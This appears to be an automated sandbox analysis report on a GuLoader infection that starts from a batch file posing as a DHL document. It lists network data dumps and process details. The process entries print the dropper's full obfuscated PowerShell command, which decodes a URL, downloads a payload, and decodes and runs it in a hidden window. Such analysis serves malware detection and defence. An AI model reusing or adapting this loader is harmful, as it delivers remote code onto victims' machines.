2024-07-15 15:37:56 UTC	8000	IN	Data Raw: 56 4a d3 fd 20 58 f2 5a 3b bd c1 88 7a 2a 99 de 50 14 b0 14 86 2f 24 52 6d 74 51 4f f8 ef 71 40 80 2a b9 20 0c b1 03 6d be 59 db 5d 26 f1 d5 8a 9d fc 26 1c 1b d1 25 39 5c 07 33 bf 52 0e 39 26 6f 32 91 7d d8 e6 7c 17 4a 99 1e 35 a6 b2 14 ff b5 0b 3f 4d 0e 8d 0f 59 a8 29 77 d2 8f b7 04 dd 41 ea c2 ed 0d d6 f4 a5 ee 74 d6 09 5e cb 57 8f e1 81 f1 9c fa 0e d8 54 72 f4 ba b6 25 fe 19 91 b6 d5 d7 f3 25 fa ae 5a df 7c 64 44 3c 6f 19 f1 ae 34 b2 04 0b 2c 96 16 c9 9d 84 5e 56 79 ef d6 98 69 a0 d8 27 a2 b6 f8 49 93 16 5d ae 4a a3 b7 e1 7d f3 15 05 d4 72 e4 d0 95 d3 0f 61 86 b7 a5 46 1e fe 92 b5 51 da c3 e7 32 0c 90 2a a7 6c 5c f8 ba 7e 3c cf da 9e c2 0a c0 b3 7e 56 c1 ea 06 04 85 86 f9 ef fd ba 93 78 cf 54 08 67 e4 89 b9 35 68 3d 5d a1 fe 6b 1d db 31 93 bf f9 de e8 Data Ascii: VJ XZ;zP/$RmtQOq@ mY]&&%9\3R9&o2}\|J5?MY)wAt^WTr%%Z\|dD<o4,^Vyi'I]J}raFQ2*l\~<~VxTg5h=]k1
2024-07-15 15:37:56 UTC	8000	IN	Data Raw: 50 eb cf 4b 27 8e 05 b3 a1 7e c7 02 66 d2 c5 5f 00 0a ea 9c 0c b4 12 0b f1 ce 2e f4 23 54 b0 42 2c 73 f9 55 07 68 89 7b 59 77 f3 79 84 f1 1d 2b 8a 99 df 97 56 11 7f 2f 53 14 c1 65 09 30 4c a0 a6 7e b7 dc 4d 64 85 23 01 14 54 10 05 a6 ae dc 69 43 42 28 73 45 b8 d8 b1 31 07 3f a1 96 16 e2 f2 71 13 8b 36 f7 34 f7 3c 86 0a 7e e4 0e c1 ed 89 70 45 5a 8a c8 19 90 f4 7b 8b 91 f5 4a 54 42 4f 3f 36 37 bb c5 fa 18 62 39 60 21 b7 72 63 b8 8b 7d ff 9c 94 7f c2 31 3b 27 2e 60 d9 f4 87 c6 2b 7d 6d 3b 14 68 3d 38 43 33 1b c6 2f a6 49 51 3c 0c 70 c9 64 7d 1f 61 38 ad af 00 02 27 03 a1 d5 12 4d 16 5c c0 e9 f9 8d a7 19 d0 5a a8 72 80 71 21 8c 23 8d 30 8f e8 fa 2b 46 5a e0 f6 9f b0 ad a9 5a 28 60 e5 fb 92 c2 cd f9 c7 92 18 6e e5 f3 49 86 10 9c 14 37 bd 59 d0 6f 2e 53 bb b3 Data Ascii: PK'~f_.#TB,sUh{Ywy+V/Se0L~Md#TiCB(sE1?q64<~pEZ{JTBO?67b9`!rc}1;'.`+}m;h=8C3/IQ<pd}a8'M\Zrq!#0+FZZ(`nI7Yo.S
2024-07-15 15:37:56 UTC	8000	IN	Data Raw: 91 f1 46 b4 1f 46 36 0f 2e 1e 82 d0 de 07 f1 8b 04 3e 7f 4c 15 c7 2f 35 42 0e f0 93 ca a4 29 11 fe e9 f9 0d 32 61 31 3b 12 aa 3a 44 96 20 59 8e ca b9 39 63 77 c1 a0 7e 9c 55 42 1b 9c 1f 59 b8 76 9b bd c3 f8 c3 5d 40 f2 23 10 57 8f 6f c0 0f c0 7a 72 f3 57 b7 15 da c3 62 d8 a7 f5 ce d5 39 ab 55 20 da 59 9d 46 f2 69 94 fa 11 ad 4d 6c d8 14 2a 68 ec 37 43 f6 cb 89 bc 84 ae 84 04 73 31 93 3d c3 37 2c 48 de da fa 4c 75 d2 7d e3 8a 10 33 87 4b 5b 93 e4 2c a5 90 8b 60 fe 70 f2 32 86 f6 17 21 55 42 fe 9f 56 e9 f8 50 b9 2f ed 62 17 85 d7 76 18 c4 7b 79 96 bd 5b 6d 46 d7 d2 fc 93 4c 6b f7 cd 62 a3 00 0c d4 fb 23 68 3e bd 60 4d d8 1b c8 a6 2a 38 01 fb 16 82 85 8f e6 89 d2 b2 be 42 48 06 d2 cd 58 b6 c6 da 34 90 07 0e da af 48 a2 4d 09 df 10 2e 80 2c e0 c9 35 c6 e7 51 Data Ascii: FF6.>L/5B)2a1;:D Y9cw~UBYv]@#WozrWb9U YFiMlh7Cs1=7,HLu}3K[,`p2!UBVP/bv{y[mFLkb#h>`M8BHX4HM.,5Q
2024-07-15 15:37:56 UTC	8000	IN	Data Raw: c4 ec 14 6a 27 81 95 9d cf bb ac b6 02 b2 d2 31 55 c0 2a 07 ae 2f a7 7b 82 06 51 96 ad 43 41 06 f7 20 d3 37 83 2d 6b 15 27 af f6 f2 87 4c d5 a9 6a ff 10 57 6d 7b c3 17 45 d5 ad dd 9b 31 78 53 17 96 d1 ce 35 c9 05 45 88 15 63 32 a4 b8 99 03 8c 0b 8b 67 2d 38 b4 e5 7c 06 90 2e ea b6 55 1e 76 85 47 d9 7c 3f 68 dc 54 5f 78 bf b7 c5 b8 6e 1d 28 71 a0 46 d2 81 aa 2c 93 24 79 f3 e7 ba 48 31 19 bd 6f 2a 99 32 dd 04 ab f0 9f 3a 28 ec 91 93 de 33 cf 9b f3 83 70 79 d9 72 99 9f 8a 91 5a 01 0f 94 0e 97 93 17 47 75 5a 7d 11 f4 a8 b4 e9 1b 24 b4 2e 5a 78 c8 60 f6 2d 2d bc 99 43 67 8a 8a ca da 67 68 a3 19 38 44 00 d7 30 e1 07 28 19 3b eb 1e 61 02 0b 47 bc 8d bc 9c 9c 9a cf cf a7 4c 69 97 29 ef 26 dd 24 16 e1 47 cf 4c 7a f9 3a 11 f0 9c 76 42 b8 82 e2 12 2c bb 33 c7 b1 17 Data Ascii: j'1U/{QCA 7-k'LjWm{E1xS5Ec2g-8\|.UvG\|?hT_xn(qF,$yH1o2:(3pyrZGuZ}$.Zx`--Cggh8D0(;aGLi)&$GLz:vB,3
2024-07-15 15:37:56 UTC	8000	IN	Data Raw: c9 bd 03 21 22 e4 14 e6 a4 75 70 da 1d c3 95 22 cf b4 1d e3 1d e2 c9 b7 56 c2 7a 51 59 03 4d de 66 26 b7 8b 4c 0e df 98 ae 78 06 80 c5 cc 76 c6 5e 03 30 76 05 6c 06 da c1 63 30 90 33 7c 18 02 0a 7f a4 9d af 74 f8 13 00 53 d9 6e 6a 36 a9 b7 bb d1 9b df 69 4f 49 5f 38 23 9f 54 e1 e7 2e 20 04 f2 94 e2 76 96 43 c7 d6 8d 64 9c f8 12 b2 7c 7a 57 66 c1 3e a1 28 a0 06 da 7e 26 ac 71 aa 4e b2 f0 01 35 bf 63 2d f6 b2 7a ad e0 22 2e aa 64 20 62 15 04 d2 89 30 d2 26 8e 9e 13 82 32 fb be 87 9c 22 67 11 fd 99 16 ad b9 ca 01 96 b0 e7 ce 66 5d 18 cc 6c 51 90 8d b5 fd 06 5b f8 e8 48 13 07 3a 5d 45 6d bb 1c b6 89 2c 80 15 44 69 65 1c 91 c0 f0 23 f3 21 85 1f 0d ca 3c 9c 44 db 3d 31 8b b1 61 43 76 7a 21 9e c5 87 e5 de 33 c1 5d 4f 16 50 31 25 d1 12 ee 0b b7 58 33 f1 0a 63 fd Data Ascii: !"up"VzQYMf&Lxv^0vlc03\|tSnj6iOI_8#T. vCd\|zWf>(~&qN5c-z".d b0&2"gf]lQ[H:]Em,Die#!<D=1aCvz!3]OP1%X3c
2024-07-15 15:37:56 UTC	8000	IN	Data Raw: e3 55 dd d8 74 d7 72 c0 10 7e 0c ac ec 0c cb b4 bf 30 1f d3 f4 aa d3 78 37 b7 b4 e9 6d a6 8c 78 ce c0 4c 66 a1 3b b5 14 20 4b 85 98 d3 48 2d 94 4a a1 11 0c 20 6b 45 a9 2d 38 83 db 6b ad 63 b5 54 65 2c 3c be dc e3 bc 6d 15 2d 56 9e 1d 99 08 a2 5e 29 cf 45 c4 65 a4 4b f3 67 2c c6 4e dd 70 20 7a 59 25 e9 0b 19 84 6e 51 30 8e 00 fa b4 16 03 b7 a5 4a dc e2 81 cd b9 ea e5 fd ff c5 7c 18 f9 97 b9 be 38 49 42 41 df 51 8f e6 a5 bb 72 2e a8 11 d9 a0 6e f4 eb 26 64 07 d2 fc 4b 08 85 0e 82 ab 7e d2 94 dc ae 4c a1 7f b5 aa 04 93 48 9c 91 c8 b5 8f d8 b8 ed 72 54 d3 5e fa a9 fd b7 37 8e 7d d0 a6 27 ad f4 0b 64 ca ff 97 33 ed b5 04 68 cb 31 c2 d8 60 a7 0e fc 9f 6a e5 0b 4a e9 cd bc c6 4b 02 66 82 68 01 64 8c 8e e0 e8 86 7e f1 90 21 96 0c fe 3c cc ea 2a d0 a2 8e c2 be da Data Ascii: Utr~0x7mxLf; KH-J kE-8kcTe,<m-V^)EeKg,Np zY%nQ0J\|8IBAQr.n&dK~LHrT^7}'d3h1`jJKfhd~!<*

Target ID:	0
Start time:	11:36:57
Start date:	15/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\rDHL_PT563857935689275783656385FV-GDS3535353.bat" "
Imagebase:	0x7ff740e40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	1
Start time:	11:36:58
Start date:	15/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	11:36:58
Start date:	15/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -windowstyle hidden "write 'Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser';If (${host}.CurrentCulture) {$Afiklingshastighed++;}$Papirindfringen51='SUBsTR';$Papirindfringen51+='ing';Function Oktantals($Maaleresultatet){$Fuldskggets=$Maaleresultatet.Length-$Afiklingshastighed;For( $Hypergamously=4;$Hypergamously -lt $Fuldskggets;$Hypergamously+=5){$Reactualizations+=$Maaleresultatet.$Papirindfringen51.Invoke( $Hypergamously, $Afiklingshastighed);}$Reactualizations;}function Oncogenes($Flirtigig){ & ($eksileredes) ($Flirtigig);}$Klagefrist=Oktantals ' RatMSeptoKrimzBilsi,adilIscelCreaaPort/Ud.e5tr.o.Dagu0 Bje B.rd( EjeWRa,ni A,tnBlyad teloLympwScrusGalv EddNe itTV ks Indu1File0Guri.Sdek0 san;Egyp KatdWC.rniSensn Cas6 em4.ogi;Tylv ForxF mm6Spor4Teq ;Ka c DelfrInfovMo e:Myop1Brys2Kura1 wag.Tils0Sund).ipp redGCance TobcSjusk U,do Fly/Unsc2Prot0Homo1Raak0T.ni0Blus1afgu0.syk1 Um, U,pFGlycihoveruartedanif havoBassxOver/Tilb1Komm2Scam1Din .hyld0Init ';$Morvin=Oktantals 'TeksU ValsBrace Wi rEuro-ArgeAMaalgSkvueDok,n TimtMod. ';$urtesupper=Oktantals 'Cocih undt fjet SerpH rksTalw:Ens./Kurv/Semie UdkcKlbeo StrnVogts ColtGeomrBehoa Hj.m.lndeServdCowhi.oteaEnke.Bar cLeveoEmptmBrim/S.anSKon,aGl,nmDe,asNonzeForsnNo,rd BareCurv. DagjC evpNebub,oth ';$Dvelreres=Oktantals ' P o>wood ';$eksileredes=Oktantals 'Avi,iglyceAfk,xP,ra ';$Synecologic='Acuity';$Flagknap = Oktantals 'Sekre prvc ,odh IndoChou Sk.t%BlipaBru pEksppNo idD.koaOp.rtRomaa Rim%Reex\del,NSed.eInvedMov p PecrDiskiOutdoFiskrEndoi N,nt,ttaeVestrSicae.ebonFa,ddL gteSu o2U,as0K,es0Dogm.RetySundiiDra.g Dis isot&,ota&Rutt MedbeFlotcProxhDowco.las Indst cr ';Oncogenes (Oktantals 'Abol$Divegkaf lConvo,lgpb.ejmaSalgl Oli:E.seM Cenb NumeShirl KrapBespoAmnilMe,tiDagstKonsu F grGig.eModurM,lj=Af.u(DovecFremmObted.hak Tvan/F.rfcEole o v$.eldF UnmltegmaMut.gParckVetenEgetaItc pCons)Korr ');Oncogenes (Oktantals ',epr$ordsg evelCanioLevub ela,nrilAndr: Balg oinaRekrwtudskPartiUndihRe,soBl,doScatdAort=Brev$ GenuTiturAntetPreseBrans MacuomfapElskpLflaerestrV va.FirlsmisppHelslneuti tyvtScra(Vege$ MjeDRe.uvExtreSc,elbudgrUndeeKapirBe.eePe isF.ed)S,dh ');Oncogenes (Oktantals 'Kono[civiNAffleS.lvtGabi.TenoSTor eRyonrStrevNe kiZy,oc Auge M,sP FakoKariiEkphncr,ttAvenM Me.aAssunTimea impgDetae pndrAfd ]Pist: Sli:st.rSEn oe strcWichuKontr Pr.i Af,tG oby UfoP tilrDatao Hayt Bleo Ba.cTeleo EnelSkri Fo r=Stop Udd[Ba.iN Ddse.rdltOver.Ori,SDiadeHartcbundu Eror FreiHekst ProyRevaPwronrUn,ooTenot GipoBjr cTypeoPhycl RetTBedlyAchap .ide Sma]Repr:prec:AkklTNongl DatsPhen1Koor2Rume ');$urtesupper=$gawkihood[0];$enteroanastomosis= (Oktantals ' .le$hvidg.ykelKurtoTilkbH mpaCoutlDivi:A keMVerioSalvnUnr tSkyggstilo,istl,ammf ,raiBrowebro.rChlo= etNdiste UnswBil,- W iOColobAbonjAutoeMongccli tForu amS porySvedsF jlt lageDownmBrss.UnshNIn.ae I.tt.hal.Di.eWDevaeOxtabFredCPhillConfiForte.illnS.det');$enteroanastomosis+=$Mbelpoliturer[1];Oncogenes ($enteroanastomosis);Oncogenes (Oktantals 'b.gr$ .llMTutooLangnOwkrt D.ng,leao Hagl efifProti BlyeTonsrRemo.K.anHKr leUganaDrifdUdhneFe.drAcolssemi[ Fo.$EfteMB.uso PolralvevFintiSpe,nwife]Dok.=Inn,$I dvKre,nlkl.maAto,gSystekartfXylorBleniSkyfsRoletGreg ');$Makkede=Oktantals 'Unde$ PosMC.aco.xprnF.rstDemog lanoAmt.l,dlafSatsiPo aeHalvrJezr.SpeeDalphokiwaw Afsn.dstlVi ioLav,aWrapdPja.FGaduiS.nelGrebecons(,ell$Dec uFir,rLandtLigueHjalsNonouHavrp B spReane,roarre.s, E,s$RelaAIndifskrig MutrTalb)T.sk ';$Afgr=$Mbelpoliturer[0];Oncogenes (Oktantals 'Belr$Ln,ogOu,plEdapo PerbEx,eaSworl Des:Ud iEKig,gNonplDataaMegatAn,reStacrEskaeGro.sEkam=Flys(BygkT fr.eUnf s,rontgau.-wifoPBankaUplit .akhSelv Ked.$S.riA Bolf .umgDuchrBagg) Nav ');while (!$Eglateres) {Oncogenes (Oktantals 'K,rr$ calg Prol Ubeo An,bTra.aKernlMusl:UranD ConuSorrgOre a oinnBryg=Cen.$ForrtAfbrrUdrauR.vae Ani ') ;Oncogenes $Makkede;Oncogenes (Oktantals 'FormSldertBe.la V,rr eletTeks-BlepSLooklM.sse,entePr.npampo Olin4Macr ');Oncogenes (Oktantals 'Pidd$MissgScholFo,soAf,ib HjeaFreklCros:Vrt E A.dg.upelvendaLycot Re,ecracrDeave Subs nco=Bill(bossTAfveeUp rs lintSubs-ParaP RisaForet,andhMo.g Aarb$DecuAWoodfPatrgOculrInds) Pri ') ;Oncogenes (Oktantals 'G ur$ lgtg.efelShoooCivibBreaa UnclAppa:FaenE TaaxYethpPolylfareoLongdS.afeE,parSa.c=Scre$C mmg NemlMedioWhimb edua.ensl.nas: LocrAspeeHe,tnCanotT.skvSkibiU,kisWi,etGod,ehalonBe,o+,axc+Fini%Circ$RickgDermaMindwUndekStani C ih.renoAs.mo.ecudOpfy.SmutcflyvoRussu,ilhn PantLega ') ;$urtesupper=$gawkihood[$Exploder];}$Selvflelsers=333309;$Topfigur=29064;Oncogenes (Oktantals ' Op,$C,rrgHapplV ntodi.ibBrodaKni limpo:H,ejTRambrWigsvPonoa UnprPolee H tnKa o Skr=Lgne MgrGAu,ee Ra t Int-,edaCGhosoStavnTurbtMi pe spin nddtMusk Mind$ ,trAH.rsfD.srgMe,drRuts ');Oncogenes (Oktantals ' Dok$InexgDigtlU,weo flobeli,aB,dil,iot: Gl,PAn yaskoldSkj.d thae Forh Kona,lejtDihytPl deLattss,rkkItalyAkt eGentrBikonTlpeePlugsTruc h.ne=Codl Kula[HalvSS aayB.evsStagt ande orkmdimi. OmdCAdreoS,ren Es v.efueOverrReolt Imp]Mast: Veg: bibFsemir UnpoD,gtmTro,BStatasparsP.mpeAlmo6Hydr4gasaSSpant Me.rSlriiAsymn S ug am(Samn$PjkkTS uir InfvGge,aFremrHumeeUnfenGa.g)Co.q ');Oncogenes (Oktantals 'Stet$SmiggOprel AneoAc,obB ysaP aslSt.m:ForvUVr ebRep,e Pt.hUni,j Di.lPo.epEp.dsCapioVarmmReplmRevieBorts Pir .aca=Di.e Hem[Ca.bS StoyBuffsAndet Hane nkm.hae.kanaTConne uudxBnkptYeh..sp tERechn urgc LinoTu.bd Su icompn Alcg Uo.]Erad: ini:LandAmytiSAsseC sp.ITalbIGrip.JuleG D veAlmet,istSUdflt Storbestirssnn Unfg,erc( Na.$SighPTkkeaStridDesod BoheRobihOvera S ot,asttTurneBalas MankTvisy accePsycrStranC,ple Yd,s Sp.) Glu ');Oncogenes (Oktantals 'Unf.$ rodgMar,lSlagoCarpb M.naPsyklCyli:DiscBAlg iSlanoMen lCounoStang Trie MerrTaxanMelleS was.ver1D,al9U sa6Sigi=Delp$F lmUF,rsbMed eSa,ihGarnj YellsrtrpKolos resoBattm BejmFerreAspisC.nc.Serjs JewuThrob S rsLrketTrafrRejniSergnSt dgAnti( Jai$Jer,S ProeGroclCi.ivI urf AerlUdvaeB,uglchi,sArmhe.onnrAf is nde,,rko$InddT ecoSengpHimmfKlkkiIm.rg LytuTensrHaan)Pink ');Oncogenes $Biologernes196;"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000002.00000002.2595043034.0000018D5A4E0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	11:36:58
Start date:	15/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	11:37:00
Start date:	15/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nedprioriterende200.Sig && echo t"
Imagebase:	0x7ff740e40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	11:37:07
Start date:	15/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "write 'Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser';If (${host}.CurrentCulture) {$Afiklingshastighed++;}$Papirindfringen51='SUBsTR';$Papirindfringen51+='ing';Function Oktantals($Maaleresultatet){$Fuldskggets=$Maaleresultatet.Length-$Afiklingshastighed;For( $Hypergamously=4;$Hypergamously -lt $Fuldskggets;$Hypergamously+=5){$Reactualizations+=$Maaleresultatet.$Papirindfringen51.Invoke( $Hypergamously, $Afiklingshastighed);}$Reactualizations;}function Oncogenes($Flirtigig){ & ($eksileredes) ($Flirtigig);}$Klagefrist=Oktantals ' RatMSeptoKrimzBilsi,adilIscelCreaaPort/Ud.e5tr.o.Dagu0 Bje B.rd( EjeWRa,ni A,tnBlyad teloLympwScrusGalv EddNe itTV ks Indu1File0Guri.Sdek0 san;Egyp KatdWC.rniSensn Cas6 em4.ogi;Tylv ForxF mm6Spor4Teq ;Ka c DelfrInfovMo e:Myop1Brys2Kura1 wag.Tils0Sund).ipp redGCance TobcSjusk U,do Fly/Unsc2Prot0Homo1Raak0T.ni0Blus1afgu0.syk1 Um, U,pFGlycihoveruartedanif havoBassxOver/Tilb1Komm2Scam1Din .hyld0Init ';$Morvin=Oktantals 'TeksU ValsBrace Wi rEuro-ArgeAMaalgSkvueDok,n TimtMod. ';$urtesupper=Oktantals 'Cocih undt fjet SerpH rksTalw:Ens./Kurv/Semie UdkcKlbeo StrnVogts ColtGeomrBehoa Hj.m.lndeServdCowhi.oteaEnke.Bar cLeveoEmptmBrim/S.anSKon,aGl,nmDe,asNonzeForsnNo,rd BareCurv. DagjC evpNebub,oth ';$Dvelreres=Oktantals ' P o>wood ';$eksileredes=Oktantals 'Avi,iglyceAfk,xP,ra ';$Synecologic='Acuity';$Flagknap = Oktantals 'Sekre prvc ,odh IndoChou Sk.t%BlipaBru pEksppNo idD.koaOp.rtRomaa Rim%Reex\del,NSed.eInvedMov p PecrDiskiOutdoFiskrEndoi N,nt,ttaeVestrSicae.ebonFa,ddL gteSu o2U,as0K,es0Dogm.RetySundiiDra.g Dis isot&,ota&Rutt MedbeFlotcProxhDowco.las Indst cr ';Oncogenes (Oktantals 'Abol$Divegkaf lConvo,lgpb.ejmaSalgl Oli:E.seM Cenb NumeShirl KrapBespoAmnilMe,tiDagstKonsu F grGig.eModurM,lj=Af.u(DovecFremmObted.hak Tvan/F.rfcEole o v$.eldF UnmltegmaMut.gParckVetenEgetaItc pCons)Korr ');Oncogenes (Oktantals ',epr$ordsg evelCanioLevub ela,nrilAndr: Balg oinaRekrwtudskPartiUndihRe,soBl,doScatdAort=Brev$ GenuTiturAntetPreseBrans MacuomfapElskpLflaerestrV va.FirlsmisppHelslneuti tyvtScra(Vege$ MjeDRe.uvExtreSc,elbudgrUndeeKapirBe.eePe isF.ed)S,dh ');Oncogenes (Oktantals 'Kono[civiNAffleS.lvtGabi.TenoSTor eRyonrStrevNe kiZy,oc Auge M,sP FakoKariiEkphncr,ttAvenM Me.aAssunTimea impgDetae pndrAfd ]Pist: Sli:st.rSEn oe strcWichuKontr Pr.i Af,tG oby UfoP tilrDatao Hayt Bleo Ba.cTeleo EnelSkri Fo r=Stop Udd[Ba.iN Ddse.rdltOver.Ori,SDiadeHartcbundu Eror FreiHekst ProyRevaPwronrUn,ooTenot GipoBjr cTypeoPhycl RetTBedlyAchap .ide Sma]Repr:prec:AkklTNongl DatsPhen1Koor2Rume ');$urtesupper=$gawkihood[0];$enteroanastomosis= (Oktantals ' .le$hvidg.ykelKurtoTilkbH mpaCoutlDivi:A keMVerioSalvnUnr tSkyggstilo,istl,ammf ,raiBrowebro.rChlo= etNdiste UnswBil,- W iOColobAbonjAutoeMongccli tForu amS porySvedsF jlt lageDownmBrss.UnshNIn.ae I.tt.hal.Di.eWDevaeOxtabFredCPhillConfiForte.illnS.det');$enteroanastomosis+=$Mbelpoliturer[1];Oncogenes ($enteroanastomosis);Oncogenes (Oktantals 'b.gr$ .llMTutooLangnOwkrt D.ng,leao Hagl efifProti BlyeTonsrRemo.K.anHKr leUganaDrifdUdhneFe.drAcolssemi[ Fo.$EfteMB.uso PolralvevFintiSpe,nwife]Dok.=Inn,$I dvKre,nlkl.maAto,gSystekartfXylorBleniSkyfsRoletGreg ');$Makkede=Oktantals 'Unde$ PosMC.aco.xprnF.rstDemog lanoAmt.l,dlafSatsiPo aeHalvrJezr.SpeeDalphokiwaw Afsn.dstlVi ioLav,aWrapdPja.FGaduiS.nelGrebecons(,ell$Dec uFir,rLandtLigueHjalsNonouHavrp B spReane,roarre.s, E,s$RelaAIndifskrig MutrTalb)T.sk ';$Afgr=$Mbelpoliturer[0];Oncogenes (Oktantals 'Belr$Ln,ogOu,plEdapo PerbEx,eaSworl Des:Ud iEKig,gNonplDataaMegatAn,reStacrEskaeGro.sEkam=Flys(BygkT fr.eUnf s,rontgau.-wifoPBankaUplit .akhSelv Ked.$S.riA Bolf .umgDuchrBagg) Nav ');while (!$Eglateres) {Oncogenes (Oktantals 'K,rr$ calg Prol Ubeo An,bTra.aKernlMusl:UranD ConuSorrgOre a oinnBryg=Cen.$ForrtAfbrrUdrauR.vae Ani ') ;Oncogenes $Makkede;Oncogenes (Oktantals 'FormSldertBe.la V,rr eletTeks-BlepSLooklM.sse,entePr.npampo Olin4Macr ');Oncogenes (Oktantals 'Pidd$MissgScholFo,soAf,ib HjeaFreklCros:Vrt E A.dg.upelvendaLycot Re,ecracrDeave Subs nco=Bill(bossTAfveeUp rs lintSubs-ParaP RisaForet,andhMo.g Aarb$DecuAWoodfPatrgOculrInds) Pri ') ;Oncogenes (Oktantals 'G ur$ lgtg.efelShoooCivibBreaa UnclAppa:FaenE TaaxYethpPolylfareoLongdS.afeE,parSa.c=Scre$C mmg NemlMedioWhimb edua.ensl.nas: LocrAspeeHe,tnCanotT.skvSkibiU,kisWi,etGod,ehalonBe,o+,axc+Fini%Circ$RickgDermaMindwUndekStani C ih.renoAs.mo.ecudOpfy.SmutcflyvoRussu,ilhn PantLega ') ;$urtesupper=$gawkihood[$Exploder];}$Selvflelsers=333309;$Topfigur=29064;Oncogenes (Oktantals ' Op,$C,rrgHapplV ntodi.ibBrodaKni limpo:H,ejTRambrWigsvPonoa UnprPolee H tnKa o Skr=Lgne MgrGAu,ee Ra t Int-,edaCGhosoStavnTurbtMi pe spin nddtMusk Mind$ ,trAH.rsfD.srgMe,drRuts ');Oncogenes (Oktantals ' Dok$InexgDigtlU,weo flobeli,aB,dil,iot: Gl,PAn yaskoldSkj.d thae Forh Kona,lejtDihytPl deLattss,rkkItalyAkt eGentrBikonTlpeePlugsTruc h.ne=Codl Kula[HalvSS aayB.evsStagt ande orkmdimi. OmdCAdreoS,ren Es v.efueOverrReolt Imp]Mast: Veg: bibFsemir UnpoD,gtmTro,BStatasparsP.mpeAlmo6Hydr4gasaSSpant Me.rSlriiAsymn S ug am(Samn$PjkkTS uir InfvGge,aFremrHumeeUnfenGa.g)Co.q ');Oncogenes (Oktantals 'Stet$SmiggOprel AneoAc,obB ysaP aslSt.m:ForvUVr ebRep,e Pt.hUni,j Di.lPo.epEp.dsCapioVarmmReplmRevieBorts Pir .aca=Di.e Hem[Ca.bS StoyBuffsAndet Hane nkm.hae.kanaTConne uudxBnkptYeh..sp tERechn urgc LinoTu.bd Su icompn Alcg Uo.]Erad: ini:LandAmytiSAsseC sp.ITalbIGrip.JuleG D veAlmet,istSUdflt Storbestirssnn Unfg,erc( Na.$SighPTkkeaStridDesod BoheRobihOvera S ot,asttTurneBalas MankTvisy accePsycrStranC,ple Yd,s Sp.) Glu ');Oncogenes (Oktantals 'Unf.$ rodgMar,lSlagoCarpb M.naPsyklCyli:DiscBAlg iSlanoMen lCounoStang Trie MerrTaxanMelleS was.ver1D,al9U sa6Sigi=Delp$F lmUF,rsbMed eSa,ihGarnj YellsrtrpKolos resoBattm BejmFerreAspisC.nc.Serjs JewuThrob S rsLrketTrafrRejniSergnSt dgAnti( Jai$Jer,S ProeGroclCi.ivI urf AerlUdvaeB,uglchi,sArmhe.onnrAf is nde,,rko$InddT ecoSengpHimmfKlkkiIm.rg LytuTensrHaan)Pink ');Oncogenes $Biologernes196;"
Imagebase:	0x950000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
